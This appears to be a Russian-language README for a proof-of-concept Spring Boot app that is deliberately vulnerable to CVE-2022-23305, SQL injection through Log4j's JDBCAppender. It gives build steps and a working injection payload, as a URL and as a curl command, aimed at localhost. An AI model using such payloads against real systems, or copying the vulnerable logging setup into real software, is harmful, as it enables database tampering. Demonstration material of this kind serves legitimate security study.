
CVE-2022-23305 Log4J JDBCAppender SQl инъекция POC
Это очень простое приложение на основе Spring Boot, демонстрирующее уязвимость CVE-2022-23305. Оно использует Apache Maven, Spring Boot, Spring MVC и встроенную базу данных H2 для записи одной простой записи, полученной в качестве параметра строки запроса URL. Поскольку Log4J настроен на использование JDBCAppender, он уязвим для SQL-инъекций.
См. src/main/java/poc/InjectionController.java для оператора логирования.
См. папку src/main/resource для всех файлов конфигурации.
Вы можете запустить приложение с помощью Java и Maven, выполнив "mvn clean spring-boot:run".
Вы также можете запустить его как Docker-приложение, например:
docker build --tag log4j-poc .
docker run -p 8080:8080 log4j-poc
Приложение будет доступно по адресу http://localhost:8080/.
Чтобы использовать уязвимость, отправьте внедрённый SQL-запрос в качестве параметра, который будет записан в лог:
"http://localhost:8080/?param=');insert into logs values(':("
В ответе будут перечислены добавленные записи лога, включая одну, добавленную SQL-инъекцией в параметр.
Чтобы сделать то же самое с помощью curl:
curl 'http://localhost:8080/?param=%27);insert%20into%20logs%20values(%27:('